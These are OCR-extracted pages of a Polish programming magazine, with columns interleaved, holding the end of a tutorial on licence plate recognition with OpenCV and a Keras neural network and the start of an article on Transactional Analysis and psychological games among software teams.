319/319 [==============================] - 5s 17ms/step - loss: 0.0108 - accuracy: 0.9985 - val_loss: 0.0033 - val_accuracy: 0.9996

ranie maksymalnych wartości w obrębie zadanego jądra (w naszym znanego regionu spróbujemy więc wyciąć go z oryginalnego obrazu,
przypadku 2x2 piksele). wykonamy progowanie, by otrzymać obraz białych liter na czarnym
Następnie dodajemy kolejną warstwę splotową wraz z towarzy- tle, a później skorzystamy znów z funkcji cv2.findContours, aby wy-
szącą jej warstwą MaxPooling2D. Potem spłaszczamy dane poprzez znaczyć wszystkie jednolite obszary. Jeżeli będą miały akceptowalne
dodanie jako kolejnego elementu warstwy Flatten. Wkraczamy wymiary (minimum 1/3 wysokości tablicy) i będzie ich odpowiednia
w ten sposób w obszar „zwykłej” sieci neuronowej, więc dodajemy liczba, możemy założyć, że trafiliśmy na poszukiwaną tablicę.
warstwę gęstą zawierającą 256 neuronów, a po niej warstwę wyniko- Na początku będziemy potrzebować trochę stałych – Listing 13.
wą składającą się z 34 neuronów.
Listing 13. Dodajemy konstruktor definiujący odpowiednie stałe
Pomiędzy ostatnimi dwiema warstwami znalazła się dodatko-
wa warstwa o nazwie Dropout. Jej zadaniem jest losowe wyłączanie def __init__(self):
# Minimalna liczba znaków na tablicy
połowy neuronów w trakcie procesu uczenia (ich wagi oraz biasy self.minPlateChars = 5
# Maksymalna liczba znaków na tablicy
nie będą modyfikowane). Zapobiega to przeuczeniu sieci – sytuacji, self.maxPlateChars = 8
w której nie uczy się ona obecnych w danych wzorców, tylko samych # Wymagana wysokość znaku (do rozpoznania)
self.targetCharHeight = 28
danych na pamięć. W takim przypadku umiałaby ona rozpoznawać # Wymagany rozmiar obszaru z pojedynczym
# znakiem (do rozpoznania)
dane treningowe z dużą skutecznością, ale słabo radziłaby sobie z da- self.targetCharSize = (30, 40)
nymi, których wcześniej „nie widziała”. # Znaki ułożone według klas
self.chars = [
Wywołanie metody fit na modelu powoduje uruchomienie pro- 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
cesu uczenia. W konsoli powinniśmy otrzymać wyniki tego procesu. 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U',
'V', 'W', 'Y', 'Z', '0', '1', '2', '3', '4', '5',
Standardową praktyką podczas uczenia sieci jest przekazanie jej '6', '7', '8', '9'
]
dużego zestawu treningowego wraz z niewielkim zestawem testo- self.model = keras.models.load_model(
wym. W każdej epoce (ang. epoch; jedna epoka to jednokrotne prze- ".\\LetterRecognitionModel.h5")

tworzenie wszystkich danych treningowych) po zakończeniu procesu


uczenia sieć uruchamiana jest dla danych testowych i w ten sposób Możemy teraz zaimplementować ostatnie potrzebne nam metody.
mierzona jest jej skuteczność. Sytuacja, w której dokładność sieci na Pierwsza z nich, z Listingu 14, wytnie z obrazu obszar-kandydata
danych treningowych rośnie, a na danych testowych spada, byłaby i wykona na nim odpowiednie progowanie.
świadectwem przeuczenia sieci i musielibyśmy wtedy odpowiednio
Listing 14. Metoda cut_plate_candidate_image
zareagować, na przykład zmieniając konfigurację sieci.
Nasza sieć została jednak świetnie wytrenowana, udało się jej rozpo- def cut_plate_candidate_image(self, gray, roiX,
roiY, roiW, roiH):
znać prawidłowo 99.85% danych treningowych i 99.96% danych testo- licensePlate = gray[roiY:roiY + roiH,
wych. Możemy z powodzeniem spróbować użyć jej w naszym programie roiX:roiX + roiW]
plateBinaryImage = cv2.threshold(
do rozpoznania znaków na prawdziwych tablicach rejestracyjnych. licensePlate,
0,
Dodajmy jeszcze, że wytrenowany model można zapisać na dysk 255,
i potem z powrotem go wczytać. Oszczędzi nam to każdorazowego cv2.THRESH_BINARY_INV |
cv2.THRESH_OTSU)[1]
uczenia sieci przed jej użyciem. plateBinaryImage = clear_border(
plateBinaryImage)
return plateBinaryImage
LĄDUJEMY
Zatrzymaliśmy się w momencie, gdy algorytm wyznaczył szereg ob-
szarów, na których może znajdować się tablica rejestracyjna. Istnieje Rysunek 11. Wreszcie! Mamy naszą tablicę
wiele sposobów na to, by stwierdzić, który z nich jest tym właściwym;
w naszym przypadku skorzystamy jednak z prostej obserwacji: na ta- Druga z metod, z Listingu 15, wyłowi z wyciętego obrazu tablicy reje-
blicy musi znajdować się określona liczba znaków. Dla każdego rozpo- stracyjnej pojedyncze znaki.

<88> { 1 / 2022 < 100 > }


/ Problem ANPR /

Listing 15. Metoda find_character_contours Mamy już w ręku wszystkie potrzebne narzędzia, pozostaje tyl-
def find_character_contours(self,
ko ostatnia modyfikacja głównej metody naszej klasy, przedstawiona
plateBinaryImage): w Listingu 17.
charContours = cv2.findContours(
plateBinaryImage, Listing 17. Pełna wersja metody get_license_plate
cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)[0] def get_license_plate(self, gray):
filteredCharData = light = self.find_light_areas(gray)
[(roi, cv2.boundingRect(roi)) blackhatImage =
for roi in charContours self.generate_blackhat(gray)
if cv2.boundingRect(roi)[3] >= detailAreas =
plateBinaryImage.shape[0] // 3] self.generate_detail_areas(blackhatImage)
charData = sorted( plateCandidateAreas =
filteredCharData, self.generate_plate_candidate_areas(
key = lambda x: x[1][0]) light,
return charData detailAreas)
contours = self.find_candidate_contours(
plateCandidateAreas)

Widać od razu, że znaki, które udało nam się odzyskać ze zdjęcia, są wy- for c in contours:
(roiX, roiY, roiW, roiH) =
raźnie mniejsze od tych, których używaliśmy wcześniej do trenowania cv2.boundingRect(c)
sieci neuronowej. Czy nie będzie stanowiło to przypadkiem problemu?
plateBinaryImage =
I tak, i nie. Nasza splotowa sieć neuronowa oczekuje obrazu o ści- self.cut_plate_candidate_image(
gray,
śle określonych parametrach: monochromatycznego, o wymiarach
roiX,
30x40 (przy czym sama litera powinna mieć wysokość ok. 28 pikseli). roiY,
roiW,
Zanim dostarczymy więc każdą z liter naszej sieci neuronowej, musi- roiH)
my jeszcze znormalizować je, aby spełniały te warunki. Otrzymamy
charData =
w ten sposób oczywiście obraz o słabej jakości, ale to nie będzie już self.find_character_contours(
plateBinaryImage)
problemem, bo przecież nauczyliśmy naszą sieć pracować również if (len(charData) < self.minPlateChars or
i na takich danych. len(charData) > self.maxPlateChars):
continue
Metoda z Listingu 16, która na wejściu otrzymuje obraz zawiera-
jący pojedynczy znak, zrealizuje następujące zadania: plate = ""
for _, (x, y, w, h) in charData:
» Przeskaluje znak w dół lub w górę, aby miał dokładnie 28 pikseli charimage =
plateBinaryImage[y:y + h, x:x + w]
wysokości. charimage =
» Doda czarną ramkę dookoła, aby wyśrodkować znak w obszarze self.preprocess_char_for_recognition(
h,
30x40 pikseli. charimage)
charinput = charimage.reshape(
Listing 16. Metoda wykonująca przetwarzanie wstępne znaków 1,
self.targetCharSize[1],
def preprocess_char_for_recognition(self, h, self.targetCharSize[0],
charimage): 1)
resizeRatio = self.targetCharHeight / h result = self.model.predict(charinput)
charimage = cv2.resize( charIndex = np.argmax(result)
charimage,
dsize=(0, 0), if charIndex >= 0 and
fx = resizeRatio, charIndex < len(self.chars):
fy = resizeRatio) plate = plate + self.chars[charIndex]
(charH, charW) = charimage.shape else:
plate = plate + "?"
if charW > self.targetCharSize[0]:
charimage = charimage[ return plate
0:charH,
return None
((charW - self.targetCharSize[0]) // 2):
(self.targetCharSize[0])]

(charH, charW) = charimage.shape Początek metody powinien być znajomy – są to wywołania, które
przetwarzają wstępnie obraz i generują obszary-kandydatów, w któ-
l = (self.targetCharSize[0] - charW) // 2
r = (self.targetCharSize[0] - charW) - l rych może znajdować się poszukiwana przez nas tablica rejestracyjna.
t = (self.targetCharSize[1] - charH) // 2
b = (self.targetCharSize[1] - charH) - t
Ponieważ nie wiemy jeszcze, który z odnalezionych konturów
charimage = cv2.copyMakeBorder( jest właściwy, iterujemy po wszystkich i próbujemy odszukać na nich
charimage,
t, znaki. W przypadku gdy znajdziemy ich mniej niż 5 lub więcej niż 8,
b, najprawdopodobniej nie mamy do czynienia z tablicą rejestracyjną i
l,
r, kontur taki porzucamy. W przeciwnym wypadku iterujemy po kon-
borderType = cv2.BORDER_CONSTANT) turach liter, normalizujemy i przekazujemy sieci neuronowej do roz-
charimage = cv2.threshold(
charimage, poznania (wywołanie model.predict).
0, Jak pamiętamy, sieć neuronowa zwraca wynik w postaci one-hot
255,
cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1] encoding. Korzystamy więc z funkcji np.argmax, aby otrzymać indeks
return charimage
rozpoznanego znaku i na koniec korzystamy z przygotowanej wcześniej

{ WWW.PROGRAMISTAMAG.PL } <89>
ALGORYTMIKA

tablicy chars, aby zamienić go w zwykły znak. Doklejamy go do znaków rytm może sobie z nim nie poradzić. Z kolei na jednym z testowych
rozpoznanych wcześniej i na koniec zwracamy jako rozpoznaną tablicę. zdjęć samochód znajdował się pod wiatą: tylna klapa była jaskrawo
Nareszcie! Wszystkie koła zębate wskoczyły w swoje miejsca. Sprawdź- oświetlona, ale reszta znajdowała się w cieniu. Kontrast był tak duży,
my więc, czy przygotowana przez nas machina działa prawidłowo. że na obrazach roboczych tablica znów zlała się z resztą samochodu i,
mówiąc kolokwialnie, nie było czego zbierać.
Listing 18. Efekt działania programu

POTENCJAŁ DO POPRAWY
Recognized plate for image snap0.jpg is DWPROGR

CZYLI DZIAŁA? Jak na hobbystyczny projekt realizowany po godzinach uważam, że osią-


gnąłem bardzo przyzwoite wyniki. Myślę jednak, że sporo można
Zdaję sobie sprawę z tego, że papier przyjmie wszystko i mogę twier- jeszcze poprawić:
dzić, że algorytm działa nawet wówczas, gdy w rzeczywistości tak nie
jest. Dlatego też zachęcam do samodzielnego jego przetestowania: » Zadbać o oczyszczenie zdjęć z artefaktów, które mogą dawać fał-
dla ułatwienia wszystkie kody źródłowe dostępne są do ściągnięcia ze szywe odczyty.
strony internetowej magazynu. Aby je uruchomić, trzeba: » Rozwiązać problem zbyt bliskich zdjęć: litery rozlewają się wte-
» Zainstalować Pythona 3 (wersja max. 3.9 – późniejsze nie są jesz- dy za mało i ryzykujemy otrzymanie dwóch osobnych regionów
cze wspierane przez Tensorflow). dla kodu województwa i miasta (np. DW) i samego numeru
» Doinstalować wymagane pakiety. (np. PROGR). Można również zmodyfikować algorytm, by
» Do katalogu Data skopiować zdjęcia tablic rejestracyjnych. rozpoznawał wszystkie litery we wszystkich regionach lub żeby
» Uruchomić skrypt ANPR.py. wykrywał sąsiadujące regiony z obecnymi w nich rozpoznawal-
nymi literami.
Dostarczam również wytrenowany model, więc skrypt powinien za- » Wykryć rozmyte zdjęcie i spróbować je wyostrzyć.
działać z marszu. Jeżeli jednak czytelnik chciałby również samodziel- » Zmodyfikować algorytm budujący dane treningowe dla sieci neu-
nie wytrenować sieć neuronową, konieczne będzie dostarczenie odpo- ronowej, by nauczyć ją również liter sfotografowanych z góry lub
wiedniej czcionki do katalogu Font. Następnie należy wywołać skrypt z dołu.
TrainingDataGen.py, który wygeneruje zestaw treningowy i testowy,
a potem LetterRecognition.py, który wytrenuje sieć neuronową
PODSUMOWANIE
i zapisze model (ten jest potem wykorzystywany przez skrypt ANPR.py).
Sieci neuronowe pozwalają zrealizować mnóstwo ciekawych pro-

SKUTECZNOŚĆ jektów, które w innym przypadku trudno byłoby zaimplementować


lub wręcz byłoby to całkowicie niemożliwe. Bardzo wdzięcznym te-
W ramach testów dostarczyłem mojemu algorytmowi 39 zdjęć. Spo- matem może być na przykład rozpoznawanie znaków drogowych
śród nich 25 tablic udało się rozpoznać bezbłędnie, 9 z błędami (ale – umiejętnie użyte duo OpenCV i TensorFlow może w zaskakująco
trzeba uczciwie oddać, że pomyłka często obejmowała tylko jeden krótkim czasie dać bardzo dobre rezultaty.
znak), a 5 nie rozpoznał wcale. Dodam też, że pozwoliłem algoryt-
mowi robić błędy w przypadku cyfry 0 i litery O, które na tablicach
są do siebie bardzo podobne. Być może do ich prawidłowego rozpo- Źródła
znawania należałoby zaprząc jeszcze jakiś dodatkowy mechanizm.
» Strona projektu OpenCV: opencv.org/
Algorytm nadspodziewanie dobrze radził sobie, gdy zdjęcie było » Artykuł prezentujący podobne rozwiązanie, z którego czerpałem inspirację:
robione pod kątem (z boku), ale można się było tego spodziewać, bo tinyurl.com/ms8w84zd
» Świetny kurs Tensorflow na Udemy: https://tinyurl.com/bdue7wwj lub bit.ly/3EtHUy5
nasza sieć neuronowa była na to przygotowana. Znacznie gorsze wy- » Bardziej szczegółowe wyjaśnienie działania splotowych sieci neuronowych:
niki otrzymałem w przypadku tablic umieszczonych bardzo nisko, tinyurl.com/yckr3yv4
» „Zrozumieć głębokie uczenie”, Andrew W. Trask, 2019, wyd. PWN
które fotografowałem z góry. » „Uczenie maszynowe z użyciem Scikit-Learn i TensorFlow. Wydanie II”, Aurélien Géron
Algorytm jest również czuły na różnego rodzaju artefakty. Jeżeli
ktoś na przykład złapie tablicę czarnym zipem (trytką) w taki sposób,
że będzie on przebiegał przez jedną z liter, zostanie on potraktowany
jako część ramki i w efekcie wraz z literą zostanie usunięty. Na innym WOJCIECH SURA
z nierozpoznanych zdjęć tablica okazała się po prostu być brudna. wojciechsura@gmail.com
Rozpoznaniu uparcie opierała się również furgonetka sąsiada; zaraz Programuje 30 lat, z czego 15 komercyjnie; ma na
przy tablicy rejestracyjnej przebiega bowiem szpara pomiędzy tylny- koncie aplikacje desktopowe, webowe, mobilne
mi drzwiami, a ponieważ samochód jest dosyć jasny, na obu pomoc- i wbudowane – pisane w C#, C++, Javie, Delphi,
PHP, JavaScript i w jeszcze kilku innych językach.
niczych obrazach tablica zlewała się z resztą samochodu i litery nie Obecnie pracuje jako architekt w firmie WSCAD,
zostały rozpoznane. rozwijającej oprogramowanie nowej generacji
Dużym wrogiem algorytmu są też warunki oświetleniowe. Jeżeli CAD dla elektrotechników.

na przykład zrobimy zdjęcie wieczorem i będzie ono rozmyte, algo-

<90> { 1 / 2022 < 100 > }


LABORATORIUM BOTTEGA

W co grają ludzie?
Jak zrozumieć ukryte struktury i algorytmy komunikacji międzyludzkiej
przy pomocy Analizy Transakcyjnej

Opracowana przez Erica Berne’a koncepcja Analizy Transakcyjnej ma zaskakująco wiele


wspólnego z kodem i architekturą systemów. To właśnie ten fakt sprawia, że jest tak skutecz-
nym sposobem rozwijania umiejętności miękkich (ang. soft skills) u programistów, liderów
technicznych i konsultantów. Oparta na schematach i modelach strukturalnych, Analiza Trans-
akcyjna jest narzędziem generycznym i stanowi podstawę do zrozumienia niemal wszystkich
pozostałych teorii dotyczących kompetencji miękkich. Ucząc się tej jednej, zdobywamy klucz
do pozostałych.

M ordor. Kolonia nowoczesnych biurowców-mrówkowców – sie-


dziby światowych korporacji. U podnóża skalnej ściany prze-
rwa na papierosa. Bezwładną wymianę zdań dotyczących pogody,
skich, odgrywanych nieświadomie na spotkaniach grupowych w wie-
lu miejscach na świecie. I bynajmniej nie chodzi jedynie o seniorów
w poczekalni u lekarza.
korków oraz tego, ile zostało do weekendu, przerywa Paweł, Sales Nieważne, jakie są szczegóły dotyczące ran i obrażeń poszcze-
Manager z 3 piętra: gólnych bohaterów przytaczanych historii. Ważne, że inicjator gry
» Zobaczcie, jak się ostatnio zaciąłem nożem przy krojeniu dyni – pierwsza osoba, która rozpocznie temat – zaprasza tym samym
– tu mówca odkrywa konfidencjonalnie opatrunek, żeby reszta, pozostałych uczestników do wymieniania coraz bardziej krwawych,
nachyliwszy się nad dłonią, mogła sama ocenić wielkość i głę- a niekiedy wręcz makabrycznych wypadków, jakie przydarzyły się im
bokość rany. samym, osobom im znanym lub osobom, o których ktoś im opowia-
» To nic, ja w zeszłym roku na sylwestra, kiedy próbowałem zarobić dał… Każdy z graczy, niczym zaprogramowany, bezwiednie licytuje
wtyczkę RJ45 pod nowy router, zaciąłem się w palec tak, że ostrze się za pomocą swojej opowieści.
dotknęło niemal kości – tu wysoki, chudy pracownik działu ob- Rozgrywka kończy się zazwyczaj historią tak zatrważającą, że na-
sługi klienta triumfalnie wyciąga w górę palec z blizną i skru- stępuje po niej chwila ciszy lub napięcie rozładowywane jest poprzez
pulatnie podsuwa go po kolei pod nosy zgromadzonych osób żart albo nagłą zmianę tematu przez jednego z uczestników.
tak, żeby każda z nich mogła przyjrzeć się dobrze i sama ocenić Nieważne, czy to przerwa na papierosa, impreza integracyjna czy
powagę przytaczanej historii, przysłowiowe imieniny cioci. Grają niemal wszyscy…
» Ech, ja to nie mogę słuchać o takich rzeczach – odpowiada na to W software developmencie mamy oczywiście swój lokalny folk-
Ola – studentka-recepcjonistka, po czym sama kontynuuje wą- lor. Możemy licytować się na to, kto zna kolegę, który zrobił większy
tek. Kiedyś moja koleżanka miała wypadek na skuterze na waka- fuckup na produkcji. Zaczyna się niewinne… „dupa” w komunika-
cjach, miała zdartą skórę, aż do mięsa, i strasznie lubiła się tym cie błędu. Kto da więcej? Puszczenie testu na produkcji i ciężarówka
chwalić, pokazywała zawsze przy tej okazji blizny na udzie. Mó- z lodami truskawkowymi podjeżdża pod dyskont w lutym. Dobre,
wię wam, to dopiero było okropne… – krzywi się przy tym, jakby kto da więcej? Aplikacja bankowa leży dobę. Ooo, wysoko podnie-
właśnie przed chwilą przestała oglądać wspomniana ranę. siona poprzeczka, kto da więcej? Pamiętacie tę ciężarówkę, która zje-
» No, wypadki na motocyklach są najgorsze – włącza się progra- chała na wioskę w dolinie? Miała system na sześciu JBossach, serio.
mista z piątego piętra – kolega opowiadał, że jego szwagier miał
kiedyś wypadek na motorze, na obwodnicy. Ponoć plama krwi,
W CO GRAJĄ LUDZIE
która została na miejscu wypadku, była ogromna. Miał złamanie
otwarte ręki, a nogi połamane w kilku miejscach. Nigdy do końca Powyżej opisana gra to jedynie przykład z ogromnego zbioru schema-
nie doszedł do siebie. Do końca życia będzie nosił w nogach stalo- tów konwersacji odtwarzanych przez nas automatycznie każdego dnia.
we płytki i śruby. Koncepcja gier psychologicznych została stworzona w latach
» Noo, nieźle… A oglądaliście ten materiał z zamachu w Niem- 60-tych.w Stanach Zjednoczonych przez kanadyjskiego psychiatrę
czech…? Znam człowieka, który pracuje w tamtejszych służbach Erica Berne’a. Stała się podstawą wielu badań oraz rozwoju ciekawej
ratowniczych. Tam to dopiero było… i przydatnej koncepcji psychologicznej zwanej Analizą Transakcyjną.
Według Berne’a gramy właściwie codziennie. W pracy, w domu,
Czy byłeś/aś kiedyś uczestnikiem podobnej wymiany zdań? Jeśli tak, na imprezie, w rozmowie z sąsiadami czy innymi rodzicami spotyka-
to musisz wiedzieć, że brałeś/aś udział w grze psychologicznej zwa- nymi na placu zabaw, szkole czy przedszkolu naszych dzieci. Gramy
nej „Skaleczenie”. Jest to jedna z bardziej popularnych gier towarzy- nawet w niepozornych interakcjach z innymi.

<92> { 1 / 2022 < 100 > }


/ W co grają ludzie? /

Rysunek 1. Gra psychologiczna zaczyna się od prowokacji. Jeśli wysłana w wyniku prowokacji „przynęta” zostanie „połknięta” przez innego gracza, dochodzi do algorytmicznej wymiany
ściśle określonych transakcji, które kończą się wypłatą psychologiczną u graczy

Grą psychologiczną nazywamy serię powtarzających się wg pew- » Sąd – gra, w której strony, np. przedstawiciele dwóch działów
nego schematu komunikatów między uczestnikami gry. Gry odby- w firmie, szukają osoby, która rozstrzygnie, kto ma rację w sporze.
wają się poza świadomością ich uczestników. I, co szczególnie zadzi- » Udręczona/Udręczony – gra, w której np. „perfekcyjna pani
wiające, dzieje się tak, mimo że powtarzamy je wielokrotnie w trakcie domu” bierze na siebie za dużo obowiązków (chcąc spełnić nie-
naszego życia. realne przekonania o tym, jaka powinna być), aby w przypadku
Nieodzownym elementem gier jest ukryty cel, jaki się za nimi drobnego potknięcia załamać się i złorzeczyć na cały świat, któ-
kryje. W przypadku tzw. gier na przyjęciach może to być na przykład ry obarcza ją ciężarami ponad jej siły.
strukturalizacja czasu – co samo w sobie nie jest szczególnie szkodli- » Gdyby nie ty… – gra, w której szukamy usprawiedliwienia
wą formą interakcji z innymi. dla niepodejmowania przez nas potrzebnych lub pożądanych
Już jednak w przypadku gier małżeńskich czy w pracy, ich celem działań poprzez zrzucanie odpowiedzialności na kogoś innego
jest zazwyczaj jakaś ukryta wypłata psychologiczna – np. popra- (np. szefa), który rzekomo poprzez niedostrzeganie naszego
wa samopoczucia kosztem drugiej osoby czy wywołanie określonej ukrytego potencjału jest winny braku rozwoju naszej kariery.
emocji u siebie i/lub rozmówcy. Dlatego właśnie w większości wy- » Ja tylko próbuję ci pomóc… – gra, w której gracz próbuje po-
padków gry psychologiczne niosą za sobą negatywne konsekwencje móc osobie, która o tę pomoc nie prosiła, często powodując
dla wszystkich biorących w nich udział stron. w ten sposób (np. przez brak realnych kompetencji do rozwiąza-
Już po przykładowych tytułach gier ujętych w kultowej książce nia danego zagadnienia) jeszcze gorszą sytuację niż przed próbą
Erica Berne’a „W co grają ludzie”1 da się dostrzec, że nie może z nich pomocy. Skupia w ten sposób na sobie złość osoby, której pró-
wyniknąć nic dobrego: bowała pomóc.
» Kopnij mnie – gra, w której gracz „podkłada się” źle wykonaną
pracą, niedotrzymanym słowem itd. w celu udowodnienia sa- Gra psychologiczna działa jak algorytm triggerowany przez specy-
memu sobie, że jest do niczego. ficzne zdarzenie. Wymiana transakcyjna rozpoczyna się od sygna-
» I tu cię mam, ty sukinsynu – gra, w której gracz, poprzez niewy- łu początkowego, który wysyła nadawca i który jest swego rodzaju
rażanie złości w wielu trudnych sytuacjach interpersonalnych, przynętą. Jeśli przynęta zadziała, uruchamia serię automatycznych,
zbiera sobie tzw. talony złości, które następnie wypłaca przy in- nieświadomych wymian zdań prowadzących do ściśle określonego
nej okazji (często błahej), robiąc awanturę będącą zupełnym za- celu. Każda kolejna wymiana w tym schemacie wynika bezpośrednio
skoczeniem (odbieranym np. jako atak szału albo czepianie się) z innej i z bodźca podświadomie wysyłanego do rozmówcy i żadna
u innych. z nich nie kończy gry przed osiągnięciem spodziewanego podświa-
» Alkoholik – wielostronna gra polegająca m.in. na szukaniu domego efektu.
usprawiedliwień, powodów unikania odpowiedzialności, sposo-
bów podtrzymania toksycznych układów współuzależnienia itp. Czy nie masz czasami wrażenia, że ciągle prowadzisz tą samą rozmowę, z której nic
nie wynika – z szefem, z rodzicami, z żoną/mężem? Jeśli tak, to z dużym prawdopodo-
» Patrz, co przez ciebie zrobiłem – gra, która ma na celu uniknię- bieństwem bierzesz podczas niej udział w grze psychologicznej.
cie bliskości z drugą osobą poprzez obwinianie, udowadnianie
komuś winy, a sobie np. tego, że nie może na nikim polegać.

1. „W co grają ludzie”, Erice Berne, Wydawnictwo Naukowe PWN 2005.

{ WWW.PROGRAMISTAMAG.PL } <93>
LABORATORIUM BOTTEGA

DLACZEGO LUDZIE GRAJĄ W CO GRAMY W PRACY


Gry są przejawem naszej niedojrzałości i nieumiejętności poradzenia Nauka Analizy Transakcyjnej jest szczególnie przydatna w środowi-
sobie z rzeczywistością, licznymi, często skomplikowanymi relacjami sku pracy, gdzie konieczność funkcjonowania w ściśle określonych
i zależnościami. Jest to nieporadny sposób wchodzenia w te relacje. strukturach i zależnościach sprzyja uruchamianiu zakodowanych
Każda gra ma na celu osiągnięcie tak zwanej wypłaty psycholo- w nas schematów i algorytmów.
gicznej. Może nią być np. możliwość bezkarnego wyładowania na Jednym z ciekawych i dosyć częstych przykładów gier w pracy
kimś skumulowanej wcześniej złości – jak na przykład w grze „I tu jest „Dlaczego ty nie – tak, ale…”. Może ona wyglądać następująco:
cię mam, ty sukinsynu”, usprawiedliwienie złego zachowania (gra 1. Dyrektor zwołuje architektów na pilne spotkanie w celu zebra-
„Alkoholik”) czy ukrycie własnej bezradności lub usprawiedliwienie nia propozycji rozwiązania pewnej trudnej dla niego kwestii,
bierności (gra „Gdyby nie ty…). w sprawie której to on jest odpowiedzialny za podjęcie decyzji.
Każdy z nas ma dwie lub trzy gry, w które gra najczęściej. I na- Na pierwszy rzut oka można pomyśleć, że jest to przykład szefa,
prawdę – gra absolutnie każdy. Wielu uczestników szkoleń i kursów który ma bardzo partycypacyjny sposób zarządzania zespołem.
z Analizy Transakcyjnej relacjonuje, że po nauczeniu się rozpozna- Potrafi zadbać o morale swoich podwładnych, daje im poczucie
wania gier w różnych kontekstach życiowych są zdumieni (i nierzad- wpływu na kierunek rozwoju firmy itd.
ko przerażeni) tym, jak dużo naszych interakcji z innymi opiera się 2. Podczas spotkania jednak bombarduje krytycznymi uwagami
o algorytmy gier psychologicznych. każdy przedstawiony mu pomysł. Podaje przy tym szereg, nie-
Raz zapraszamy do grania innych, innym razem odpowiadamy kiedy celnych, uwag dotyczących tego, dlaczego dane rozwiąza-
na czyjąś nieświadomą prowokację. nie się nie sprawdzi i nie może zostać przyjęte do realizacji.
Co więcej, istnieją gry komplementarne – czyli takie, które uzupeł- 3. „Rozgrywka” zazwyczaj kończy się, kiedy architektom skończą
niają się i wzajemnie się nakręcają, jak np. „Kopnij mnie” oraz „I tu się pomysły i następuje ogólne poczucie frustracji, klęski, nie-
cię mam…”. Często podświadomie szukamy osób, z którymi możemy spełnienia oczekiwań itd.
realizować nasze najczęstsze gry i przez co potrafimy trwać w toksycz- 4. Dyrektor udowadnia w ten sposób, że jego podwładni nie po-
nych, mobbingowych relacjach bardzo długo. Osobą, która „gra w to, trafią rozwiązać zagadnienia, co godzi w ich poczucie wartości
co my”, może być na przykład nasz szef, współpracownik, podwładny. i sprawczości. Dyrektor zaś pozostaje w przekonaniu, że na ni-
To samo dzieje się w życiu prywatnym. Nie tak rzadkimi przy- kim nie może polegać i nikt nie jest w stanie pomóc mu w jego
padkami budowania relacji w oparciu o ukryte schematy gier są problemach.
małżeństwa, gdzie na przykład najczęściej odtwarzaną grą żony jest
„Gdyby nie ty…”, która świetnie komponuje się z ulubioną grą męża Czy robi to świadomie? Absolutnie nie. Jeśli byłoby to świadome
„Ja tylko próbuję ci pomóc…”. działanie, mielibyśmy do czynienia z manipulacją. I choć gry często
przypominają manipulacje w tradycyjnym rozumieniu tego słowa,

CZYM „HANDLUJEMY” W ANALIZIE to jednak różnią się od nich właśnie tym, że dzieją się poza świado-
mością graczy. Dlatego właśnie tak trudno jest je rozpoznać i podjąć
TRANSAKCYJNEJ decyzję o wyjściu z gry.
Erick Berne transakcją nazywa każdą wymianę sygnałów, zarówno Gry mają poziom społeczny oraz poziom psychologiczny. Na po-
tych werbalnych, jak i niewerbalnych, jakie zachodzą między dwie- ziomie społecznym opisana powyżej gra jest zwykłą rozmową przeło-
ma bądź wieloma osobami. W świecie IT nazwalibyśmy to wymia- żonego i podwładnych. Uwagi szefa zazwyczaj wydają się być słuszne
ną komunikatów pomiędzy modułami. W życiu codziennym może i sensowne.
to być wymiana zdań, pozdrowienie, machnięcie ręką na powitanie, Jednak w tle rozgrywa się zupełnie inna scena. Na poziomie psy-
uśmiech, zmarszczenie brwi, sapnięcie. chologicznym bowiem role są odwrócone. Scena ta przypomina roz-
Co ciekawe (i dosyć istotne dla rozumienia całej koncepcji), do- mowę dziecka z rodzicami, gdzie rodzice próbują rozwiązać problem
tyczy to również nieświadomych sygnałów, jakie do siebie wysyłamy. dziecka. Proponują kolejne sposoby, które dziecko konsekwentnie
Kiedy siedzisz w niemal pustym tramwaju i na jego drugim końcu odrzuca, chcąc udowodnić rodzicom ich bezradność wobec powagi
znajduje się inny pasażer, to nawet jeśli pozornie nie wchodzicie ze jego problemu.
sobą w interakcję, podświadomie w jakiś sposób „ustosunkowujecie” Jest to prawdopodobnie scena, którą szef zespołu wielokrot-
się do siebie, wysyłając sygnały np. w przelotnym spojrzeniu lub jego nie odgrywał w dzieciństwie ze swoimi prawdziwymi rodzicami
braku. To również Eric Berne nazywa transakcją. i która zapisała się u niego na stałe w postaci swoistego algorytmu
Transakcje, jakie zachodzą między nami, podlegają ściśle określo- uruchamianego raz na jakiś czas dla zaspokojenia różnych potrzeb
nym prawom już na najprostszym poziomie komunikatów i sygna- psychologicznych.
łów. Prawa te oparte są o prostą strukturę poziomów komunikacji, Wszystko to przypomina kod, który ktoś nam wgrał do naszego
z jakich możemy wysyłać bądź odbierać komunikaty. hardware’u i który kieruje naszymi zachowaniami. Jest on oczywiście
niewidoczny zarówno dla nas, jak i dla pozostałych graczy. Komuni-
Każdy z nas ma zazwyczaj dwie lub trzy gry, w które lubi grać. Gramy, aby otrzymać na-
grodę psychologiczną. Potwierdzamy w ten sposób nasz skrypt życiowy – czyli zbiór kacja pomiędzy naszymi systemami odbywa się bowiem na poziomie
kluczowych dla naszego zachowania przekonań na temat nas samych, innych osób bardzo delikatnych niuansów w tonie głosu, mimice, mowie ciała czy
i tego, jak funkcjonuje świat.
doborze słów, które są wyrazem stanu Ja Rodzic lub Ja Dziecko.

<94> { 1 / 2022 < 100 > }


/ W co grają ludzie? /

Choć mówienie o dzieciach i rodzicach w kontekście wspo- zatem zwracasz uwagę kierowcy taksówki, który wybrał dłuższą trasę
mnianego dyrektora i jego podwładnych może wydawać się naiwne podczas kursu, prawdopodobnie mówisz do niego dokładnie tak, jak
czy kuriozalne, to jednak dotyka podstawowego założenia Analizy twoi rodzice zwracali ci uwagę, kiedy zrobiłeś/aś coś niewłaściwe-
Transakcyjnej. Wprowadzając trzy postaci – Dziecko, Rodzica i Do- go w dzieciństwie. Z kolei gdy koleżanka w pracy ma trudny okres
rosłego – możemy zobaczyć genialną prostotę całej koncepcji, która i chcesz okazać jej wsparcie i zaopiekować się nią – prawdopodobnie
pozwala na proste posługiwanie się nią w praktyce. wykorzystujesz te zasoby, które przyswoiłeś/aś w chwilach bezradno-
ści, obserwując, w jaki sposób troszczą się o ciebie dorośli.

PODSTAWOWE KOMPONENTY
I WZORCE ARCHITEKTURY JA DZIECKO
KOMUNIKACYJNEJ Całe dzieciństwo jednak nie upłynęło nam jedynie na obserwowaniu
